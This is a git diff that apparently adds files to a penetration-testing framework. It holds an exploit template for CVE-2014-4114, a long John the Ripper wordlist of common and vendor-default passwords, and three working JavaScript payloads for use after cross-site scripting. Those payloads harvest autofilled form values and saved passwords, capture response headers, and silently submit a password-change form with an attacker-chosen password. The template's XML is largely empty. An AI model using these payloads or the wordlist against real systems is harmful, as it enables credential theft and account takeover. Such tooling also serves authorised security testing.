ObjectExamplefalsefalsefalse15.0000 \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/docProps/core.xml b/data/exploits/CVE-2014-4114/template/docProps/core.xml new file mode 100755 index 0000000000..6634f5b063 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/docProps/core.xml @@ -0,0 +1,2 @@ + +ExampleWindows User82014-08-06T07:56:10Z2014-10-16T21:26:22Z diff --git a/data/exploits/CVE-2014-4114/template/docProps/thumbnail.jpeg b/data/exploits/CVE-2014-4114/template/docProps/thumbnail.jpeg new file mode 100755 index 0000000000..7f7d53e154 Binary files /dev/null and b/data/exploits/CVE-2014-4114/template/docProps/thumbnail.jpeg differ diff --git a/data/exploits/CVE-2014-4114/template/ppt/_rels/presentation.xml.rels b/data/exploits/CVE-2014-4114/template/ppt/_rels/presentation.xml.rels new file mode 100755 index 0000000000..8a97c946e0 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/_rels/presentation.xml.rels @@ -0,0 +1,9 @@ + + + + + + + + + diff --git a/data/exploits/CVE-2014-4114/template/ppt/drawings/_rels/vmlDrawing1.vml.rels b/data/exploits/CVE-2014-4114/template/ppt/drawings/_rels/vmlDrawing1.vml.rels new file mode 100755 index 0000000000..ba3e45df73 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/drawings/_rels/vmlDrawing1.vml.rels @@ -0,0 +1,5 @@ + + + + + diff --git a/data/exploits/CVE-2014-4114/template/ppt/drawings/vmlDrawing1.vml b/data/exploits/CVE-2014-4114/template/ppt/drawings/vmlDrawing1.vml new file mode 100755 index 0000000000..127cb5b8ff --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/drawings/vmlDrawing1.vml @@ -0,0 +1,37 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/media/image1.wmf b/data/exploits/CVE-2014-4114/template/ppt/media/image1.wmf new file mode 100755 index 0000000000..b3bb5b267d Binary files /dev/null and b/data/exploits/CVE-2014-4114/template/ppt/media/image1.wmf differ diff --git a/data/exploits/CVE-2014-4114/template/ppt/media/image2.wmf b/data/exploits/CVE-2014-4114/template/ppt/media/image2.wmf new file mode 100755 index 0000000000..e2f1435833 Binary files /dev/null and b/data/exploits/CVE-2014-4114/template/ppt/media/image2.wmf differ diff --git a/data/exploits/CVE-2014-4114/template/ppt/presProps.xml b/data/exploits/CVE-2014-4114/template/ppt/presProps.xml new file mode 100755 index 0000000000..8cdb3628c4 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/presProps.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/presentation.xml b/data/exploits/CVE-2014-4114/template/ppt/presentation.xml new file mode 100755 index 0000000000..4cdaeffb4c --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/presentation.xml @@ -0,0 +1,121 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout1.xml.rels b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout1.xml.rels new file mode 100755 index 0000000000..af204cf94b --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout1.xml.rels @@ -0,0 +1,4 @@ + + + + diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout10.xml.rels b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout10.xml.rels new file mode 100755 index 0000000000..0ab2c475a7 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout10.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout11.xml.rels b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout11.xml.rels new file mode 100755 index 0000000000..0ab2c475a7 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout11.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout2.xml.rels b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout2.xml.rels new file mode 100755 index 0000000000..0ab2c475a7 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout2.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout3.xml.rels b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout3.xml.rels new file mode 100755 index 0000000000..0ab2c475a7 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout3.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout4.xml.rels b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout4.xml.rels new file mode 100755 index 0000000000..0ab2c475a7 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout4.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout5.xml.rels b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout5.xml.rels new file mode 100755 index 0000000000..0ab2c475a7 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout5.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout6.xml.rels b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout6.xml.rels new file mode 100755 index 0000000000..0ab2c475a7 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout6.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout7.xml.rels b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout7.xml.rels new file mode 100755 index 0000000000..0ab2c475a7 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout7.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout8.xml.rels b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout8.xml.rels new file mode 100755 index 0000000000..0ab2c475a7 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout8.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout9.xml.rels b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout9.xml.rels new file mode 100755 index 0000000000..0ab2c475a7 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout9.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout1.xml b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout1.xml new file mode 100755 index 0000000000..03c5220d5f --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout1.xml @@ -0,0 +1,2 @@ + +Click to edit Master title styleClick to edit Master subtitle style10/16/2014‹#› \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout10.xml b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout10.xml new file mode 100755 index 0000000000..2f91f757aa --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout10.xml @@ -0,0 +1,2 @@ + +Click to edit Master title styleClick to edit Master text stylesSecond levelThird levelFourth levelFifth level10/16/2014‹#› \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout11.xml b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout11.xml new file mode 100755 index 0000000000..7cdcf6c45b --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout11.xml @@ -0,0 +1,2 @@ + +Click to edit Master title styleClick to edit Master text stylesSecond levelThird levelFourth levelFifth level10/16/2014‹#› \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout2.xml b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout2.xml new file mode 100755 index 0000000000..bd0dbf91c7 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout2.xml @@ -0,0 +1,2 @@ + +Click to edit Master title styleClick to edit Master text stylesSecond levelThird levelFourth levelFifth level10/16/2014‹#› \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout3.xml b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout3.xml new file mode 100755 index 0000000000..4a1b2c3905 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout3.xml @@ -0,0 +1,2 @@ + +Click to edit Master title styleClick to edit Master text styles10/16/2014‹#› \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout4.xml b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout4.xml new file mode 100755 index 0000000000..4e52d9f322 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout4.xml @@ -0,0 +1,2 @@ + +Click to edit Master title styleClick to edit Master text stylesSecond levelThird levelFourth levelFifth levelClick to edit Master text stylesSecond levelThird levelFourth levelFifth level10/16/2014‹#› \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout5.xml b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout5.xml new file mode 100755 index 0000000000..1c5e3e84fc --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout5.xml @@ -0,0 +1,2 @@ + +Click to edit Master title styleClick to edit Master text stylesClick to edit Master text stylesSecond levelThird levelFourth levelFifth levelClick to edit Master text stylesClick to edit Master text stylesSecond levelThird levelFourth levelFifth level10/16/2014‹#› \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout6.xml b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout6.xml new file mode 100755 index 0000000000..32a00fac5f --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout6.xml @@ -0,0 +1,2 @@ + +Click to edit Master title style10/16/2014‹#› \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout7.xml b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout7.xml new file mode 100755 index 0000000000..8be4e3c9eb --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout7.xml @@ -0,0 +1,2 @@ + +10/16/2014‹#› \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout8.xml b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout8.xml new file mode 100755 index 0000000000..ebc0125e63 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout8.xml @@ -0,0 +1,2 @@ + +Click to edit Master title styleClick to edit Master text stylesSecond levelThird levelFourth levelFifth levelClick to edit Master text styles10/16/2014‹#› \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout9.xml b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout9.xml new file mode 100755 index 0000000000..a70a48f525 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout9.xml @@ -0,0 +1,2 @@ + +Click to edit Master title styleClick to edit Master text styles10/16/2014‹#› \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideMasters/_rels/slideMaster1.xml.rels b/data/exploits/CVE-2014-4114/template/ppt/slideMasters/_rels/slideMaster1.xml.rels new file mode 100755 index 0000000000..0aacb7fae3 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideMasters/_rels/slideMaster1.xml.rels @@ -0,0 +1,15 @@ + + + + + + + + + + + + + + + diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideMasters/slideMaster1.xml b/data/exploits/CVE-2014-4114/template/ppt/slideMasters/slideMaster1.xml new file mode 100755 index 0000000000..8cdf983666 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideMasters/slideMaster1.xml @@ -0,0 +1,505 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Click to edit Master title style + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Click to edit Master text styles + + + + + + + Second level + + + + + + + Third level + + + + + + + Fourth level + + + + + + + Fifth level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10/16/2014 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + ‹#› + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/data/exploits/CVE-2014-4114/template/ppt/slides/_rels/slide1.xml.rels b/data/exploits/CVE-2014-4114/template/ppt/slides/_rels/slide1.xml.rels new file mode 100755 index 0000000000..102dac0c9b --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slides/_rels/slide1.xml.rels @@ -0,0 +1,9 @@ + + + + + + + + + diff --git a/data/exploits/CVE-2014-4114/template/ppt/slides/slide1.xml b/data/exploits/CVE-2014-4114/template/ppt/slides/slide1.xml new file mode 100755 index 0000000000..70a0d21af4 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slides/slide1.xml @@ -0,0 +1,425 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Example + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Example + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + style.visibility + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + style.visibility + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + style.visibility + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/data/exploits/CVE-2014-4114/template/ppt/tableStyles.xml b/data/exploits/CVE-2014-4114/template/ppt/tableStyles.xml new file mode 100755 index 0000000000..ecd5f7a019 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/tableStyles.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/theme/theme1.xml b/data/exploits/CVE-2014-4114/template/ppt/theme/theme1.xml new file mode 100755 index 0000000000..1f0f3c1072 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/theme/theme1.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/viewProps.xml b/data/exploits/CVE-2014-4114/template/ppt/viewProps.xml new file mode 100755 index 0000000000..c78970ba8b --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/viewProps.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/uxss/steal_form.js b/data/exploits/uxss/steal_form.js new file mode 100644 index 0000000000..44f766ac4a --- /dev/null +++ b/data/exploits/uxss/steal_form.js @@ -0,0 +1,33 @@ +/* steal_form.js: can be injected into a frame/window after a UXSS */ +/* exploit to steal any autofilled inputs, saved passwords, or any */ +/* data entered into a form. */ + +/* keep track of what input fields we have discovered */ +var found = {}; +setInterval(function(){ + /* poll the DOM to check for any new input fields */ + var inputs = document.querySelectorAll('input,textarea,select'); + Array.prototype.forEach.call(inputs, function(input) { + var val = input.value||''; + var name = input.getAttribute('name')||''; + var t = input.getAttribute('type')||''; + if (input.tagName == 'SELECT') { + try { val = input.querySelector('option:checked').value } + catch (e) {} + } + if (input.tagName == 'INPUT' && t.toLowerCase()=='hidden') return; + + /* check if this is a valid input/value pair */ + try { + if (val.length && name.length) { + if (found[name] != val) { + + /* new input/value discovered, remember it and send it up */ + found[name] = val; + var result = { name: name, value: val, url: window.location.href, send: true }; + (opener||top).postMessage(JSON.stringify(result), '*'); + } + } + } catch (e) {} + }); +}, 200); diff --git a/data/exploits/uxss/steal_headers.js b/data/exploits/uxss/steal_headers.js new file mode 100644 index 0000000000..a975e2e58b --- /dev/null +++ b/data/exploits/uxss/steal_headers.js @@ -0,0 +1,17 @@ +/* steal_headers.js: can be injected into a frame/window after a UXSS */ +/* exploit to steal the response headers of the loaded URL. */ + +/* send an XHR request to our current page */ +var x = new XMLHttpRequest; +x.open('GET', window.location.href, true); +x.onreadystatechange = function() { + /* when the XHR request is complete, grab the headers and send them back */ + if (x.readyState == 2) { + (opener||top).postMessage(JSON.stringify({ + headers: x.getAllResponseHeaders(), + url: window.location.href, + send: true + }), '*'); + } +}; +x.send(); diff --git a/data/exploits/uxss/submit_form.js b/data/exploits/uxss/submit_form.js new file mode 100644 index 0000000000..6ffcc8409b --- /dev/null +++ b/data/exploits/uxss/submit_form.js @@ -0,0 +1,36 @@ +/* submit_form.js: can be injected into a frame/window after a UXSS */ +/* exploit to modify and submit a form in the target page. */ + +/* modify this hash to your liking */ +var formInfo = { + + /* CSS selector for the form you want to submit */ + selector: 'form[action="/update_password"]', + + /* inject values into some input fields */ + inputs: { + 'user[new_password]': 'pass1234', + 'user[new_password_confirm]': 'pass1234' + } +} + +var c = setInterval(function(){ + /* find the form... */ + var form = document.querySelector(formInfo.selector); + if (!form) return; + + /* loop over every input field, set the value as specified. */ + Array.prototype.forEach.call(form.elements, function(input) { + var inject = formInfo.inputs[input.name]; + if (inject) input.setAttribute('value', inject); + }); + + /* submit the form and clean up */ + form.submit(); + clearInterval(c); + + /* report back */ + var message = "Form submitted to "+form.getAttribute('action'); + var url = window.location.href; + (opener||top).postMessage(JSON.stringify({message: message, url: url}), '*'); +}, 100); diff --git a/data/john/wordlists/common_roots.txt b/data/john/wordlists/common_roots.txt new file mode 100644 index 0000000000..a2f113b3b1 --- /dev/null +++ b/data/john/wordlists/common_roots.txt @@ -0,0 +1,4724 @@ + +!1qwerty +!@#QWE123qwe +!Q2w#E4r +!Q2w3e4r +!QAZ2wsx +!QAZ2wsx#EDC4rfv +!QAZ@WSX3edc4rfv +!admin +!ishtar +!manage +!qaz@wsx +!qazXsw2 +!qwe123 +!root +$SRV +$chwarzepumpe +$rfmngr$ +$secure$ +(random +(unknown) +* +*3noguru +*password +-------- +0 +00 +000 +0000 +00000 +000000 +0000000 +00000000 +0000000000 +007007 +00850085 +010101 +010203 +012012 +012345 +0123456 +0123456789 +012465 +0392a0 +04051995 +0407056 +06061977 +06071992 +080808 +082208 +09090 +098765 +0987654321 +0P3N +0RACLE +0RACLE38 +0RACLE39 +0RACLE8 +0RACLE8I +0RACLE9 +0okmnji9 +1 +10023 +101010 +10101010 +10111011 +10118 +10135 +10143 +10144 +102030 +1020304050 +1064 +11 +111 +1111 +11111 +111111 +1111111 +11111111 +1111111111 +11112222 +1111aa +111222 +112233 +11223344 +116572 +12 +1212 +121212 +12121212 +12201220 +123 +123.com +123123 +123123123 +123132123 +123258 +123321 +1234 +12341 +12341234 +123412345 +12345 +123454321 +123456 +1234567 +12345678 +123456789 +1234567890 +12345678900987654321 +1234567890987654321 +1234567890qwertyuiop +12345678910 +1234567898 +12345678987 +123456789876 +1234567898765 +12345678987654 +123456789876543 +1234567898765432 +12345678987654321 +1234567899 +12345678998 +123456789987 +1234567899876 +12345678998765 +123456789987654 +1234567899876543 +12345678998765432 +123456789987654321 +12345678abc +123456a +1234ABCD +1234Qwer +1234admin +1234qwer! +1234qwer` +123654 +123654789 +123789 +123abc +123cztery +123mudar +123qwe +123qwe!@# +123qweASD +123qweasdzxc +123qwerty +123zxc123 +124578 +125401 +12qw!@QW +12qw34er +12qwaszx +130590 +1313 +131313 +1322222 +1340hd +134679 +14111982 +141414 +142536 +143143 +14344 +1435254 +1456 +146688 +146890 +147147 +147258 +147258369 +147852 +147852369 +147896325 +1502 +151515 +1548644 +159357 +159357** +159753 +159753456 +161616 +1660359 +166816 +17161716 +171717 +17201720 +17841784 +18140815 +181818 +187cop +19491949 +19501950 +19511951 +1969 +19750407 +198624 +1986673 +1988 +19920706 +1997 +1a2s3d4f +1keeper +1lkjhgfdsa +1q2w3e +1q2w3e4R +1q2w3e4r +1q2w3e4r.. +1q2w3e4r5t +1q2w3e4r5t6y +1qa@WS3ed +1qaz!QAZ +1qaz"WSX +1qaz0okm +1qaz2wsx +1qaz2wsx3edc +1qaz@WSX +1qazcde3 +1qazxcvb +1qazxsw2 +1qsx2waz +1qsx2wdc +2 +2000 +2010 +201036 +20112011 +20132013 +202020 +20552055 +20562056 +20572057 +20682068 +2071184 +20742074 +21 +21101981 +2112 +21121477 +212121 +21241036 +22 +22071979 +222101 +2222 +22222 +222222 +22222222 +22242224 +225225 +23041979 +23051979 +232323 +23712371 +237723 +23skidoo +24041975 +240653C9467E45 +242424 +24343 +246810 +2468369 +24Banc81 +2501 +2505463 +252525 +256256 +2580 +2594561 +266344 +2718281828 +282828 +29082908 +2WSXcder +2bornot2b +2brnot2b +2cute4u +2keeper +2read +3 +3098z +311147 +31994 +321 +3333 +333333 +33333333 +3425235 +343guiltyspark +3477 +3800326 +38483848 +3Com +3ascotel +3ep5w2u +3l3ctr1c +3stones +3ware +4 +420420 +43046721 +4321 +4444 +44444 +444444 +44444444 +456 +456123 +456789 +4636421 +493749 +4Dgifts +4changes +4getme2 +4rfv$RFV +4rfv%TGB +4rfvbhu8 +4tas +4tugboat +5 +50cent +5150 +5201314 +54321 +545981 +5555 +55555 +555555 +55555555 +5583134 +56565656 +5678 +56789 +570912 +5777364 +57gbzb +5832277 +584620 +589589 +5897 +589721 +6 +60020 +6071992 +6213744 +643558 +654321 +657 +666001 +6666 +666666 +66666666 +6922374 +6969 +696969 +69696969 +7 +735841 +741852 +741852963 +749174 +753951 +7654321 +7772000 +7777 +777777 +7777777 +77777777 +788111 +789456 +789456123 +8 +8111 +8253 +832531 +8429 +852456 +8675309 +874365 +87654321 +8888 +888888 +88888888 +8RttoTriz +9 +9225481 +951753 +963258 +9641 +987654 +987654321 +9876543210 +9999 +99999 +999999 +99999999 +999999999 +9ijn7ygv +?award +@WSX1qaz +A.M.I +ABCD +ACCESS +ACCORD +ADLDEMO +ADMIN +ADMIN welcome +ADMINISTRATOR +ADSUSER ch4ngeme +ADS_AGENT ch4ngeme +ADTRAN +AIROPLANE +ALLIN1 +ALLIN1MAIL +ALLINONE +AM +AMI +AMI!SW +AMI.KEY +AMI.KEZ +AMI?SW +AMIAMI +AMIDECOD +AMIPSWD +AMISETUP +AMI_SW +AMI~ +ANS#150 +ANYCOM +AP +APC +APPS +APPS_MRC +APPUSER +AQ +AQDEMO +AQJAVA +AQUSER +AR#Admin# +ARCHIVIST +AUDIOUSER +AWARD +AWARD?SW +AWARD_PW +AWARD_SW +Admin +Admin1 +Admin123 +Admin@123 +Administrative +Administrator +Advance +Airaya +AitbISP4eCiG +Aloysius +Any +Asante +Ascend +Asd123 +Asdfg123 +Aurora01 +Avalanche +Award +BACKUP +BASE +BATCH +BC4J +BIGO +BIOS +BIOSPASS +BRIDGE +BRIO_ADMIN +Babylon +Barricade +Berman +Biostar +Boromir1 +C0de +CALVIN +CAROLIAN +CATALOG +CCC +CDEMO82 +CDEMOCOR +CDEMORID +CDEMOUCB +CENTRA +CHANGE_ON_INSTALL +CHEY_ARCHSVR +CIDS +CIS +CISCO +CISINFO +CISSUS +CLERK +CLOTH +CMOSPWD +CMSBATCH +CNAS +COGNOS +COMPANY +COMPAQ +COMPIERE +CONCAT +CONV +CR52401 +CSMIG +CTB_ADMIN sap123 +CTXDEMO +CTXSYS +CTX_123 +Cable-docsis +Chester1 +Chocolate19 +Christmas +Cisco +Col2ogro2 +Compaq +Compleri +Congress +Craftr4 +Crocodile1 +Crystal +Crystal0! +D-Link +DBDCCIC +DBSNMP +DCL +DDIC 19920706 +DDIC Welcome01 +DECMAIL +DECNET +DEFAULT +DEMO +DEMO8 +DEMO9 +DES +DEV2000_DEMOS +DEVELOPER ch4ngeme +DIGITAL +DIP +DISC +DISCOVERER_ADMIN +DSGATEWAY +DSL +DSSYS +D_SYSPW +D_SYSTPW +Daewuu +Daytec +Dell +Dragonsoul +EARLYWATCH SUPPORT +EJSADMIN +EMP +ESSEX +ESTORE +EVENT +EXFSYS +Ektron +Everything +Exabyte +FAX +FAXUSER +FAXWORKS +FIELD +FIELD.SUPPORT +FINANCE +FND +FNDPUB +FOOBAR +FORCE +FORSE +Fireport +Flamenco +GATEWAY +GL +GPFD +GPLD +GUEST +GUESTGUE +GUESTGUEST +GWrv +Gateway +Geardog +George123 +GlobalAdmin +Guest +HARRIS +HCPARK +HELGA-S +HELP +HELPDESK +HEWITT +HLT +HLW +HOST +HP +HPDESK +HPLASER +HPOFFICE +HPONLY +HPP187 +HPP189 +HPP196 +HPWORD +HR +HTTP +Haemorrhage +Hamster +Helpdesk +IBM +ILMI +IMAGEUSER +IMEDIA +INFO +INGRES +INSTANCE +INTERNAT +INTX3 +INVALID +IP +IPMI +ISPMODE +IS_$hostname +ITF3000 +ImageFolio +Impatiens +Insecure +Intel +Intermec +Israel123 +J2EE_ADMIN ch4ngeme +JDE +JETSPEED +JMUSER +Joel1234 +KNIGHT +Kia123 +Kitz +L2LDEMO +LASER +LASERWRITER +LBACSYS +LINK +LOTUS +LR-ISDN +LRISDN +Lasvegas1 +LdapPassword_1 +Letmein1 +Letmein2 +Local +LonDon +Lund +M +M1cha3l +MAIL +MAILER +MAINT +MANAG3R +MANAGER +MANAGER.SYS +MASTER +MBIU0 +MBMANAGER +MBWATCH +MCUrv +MCUser1 +MDDEMO +MDSYS +MFG +MGR +MGR.SYS +MGWUSER +MIGRATE +MILLER +MKO)9ijn +MMO2 +MOREAU +MPE +MSHOME +MServer +MTRPW +MTSSYS +MTS_PASSWORD +MUMBLEFRATZ +MXAGENT +MagiMFP +Manager +Master +Mau'dib +Mau?dib +Mau’dib +MiniAP +Multi +NAMES +NAU +NETBASE +NETCON +NETFRAME +NETMGR +NETNONPRIV +NETPRIV +NETSERVER +NETWORK +NEWINGRES +NEWS +NF +NFI +NICONEX +NOC +NONPRIV +NTCIP +NULL +NeXT +Nemesis1 +NetCache +NetICs +NetSeq +NetSurvibox +NetVCR +Newpass1 +NoGaH$@! +OAS_PUBLIC +OCITEST +OCS +ODM +ODS +ODSCOMMON +OE +OEM +OEMADM +OEMREP +OEM_TEMP +OLAPDBA +OO +OOOOOOOO +OP.OPERATOR +OPENSPIRIT +OPER +OPERATIONS +OPERATNS +OPERATOR +OPERVAX +ORACL3 +ORACLE +ORACLE8 +ORACLE8I +ORACLE9 +ORAREGSYS +ORASSO +ORDPLUGINS +ORDSYS +OSP22 +OUTLN +OWA +OWA_PUBLIC +OWNER +OkiLAN +Oper +Operator +OrigEquipMfr +P4ssw0rd +P@$$W0RD +P@$$w0rD +P@$$w0rd +P@$$word +P@55w0rd +P@55w0rd! +P@ssw0rd +P@ssw0rd! +P@ssword +P@ssword123 +PANAMA +PAPER +PASS +PASSW0RD +PASSWORD +PATROL +PBX +PDP11 +PDP8 +PERFSTAT +PLEX +PM +PO +PO7 +PO8 +PORTAL30 +PORTAL30_DEMO +PORTAL30_PUBLIC +PORTAL30_SSO +PORTAL30_SSO_PS +PORTAL30_SSO_PUBLIC +PORTAL31 +POST +POSTMASTER +POWERCARTUSER +PRIMARY +PRINT +PRINTER +PRIV +PRIVATE +PRODCICS +PRODDTA +PROG +PUBLIC +PUBSUB +PUBSUB1 +Pa22w0rd +Parasol1 +Partner +Pass1234 +PassW0rd +Passw0rd1111 +Password +Password#1 +Password1 +Password123 +Password@1 +PlsChgMe +PlsChgMe! +Polar123 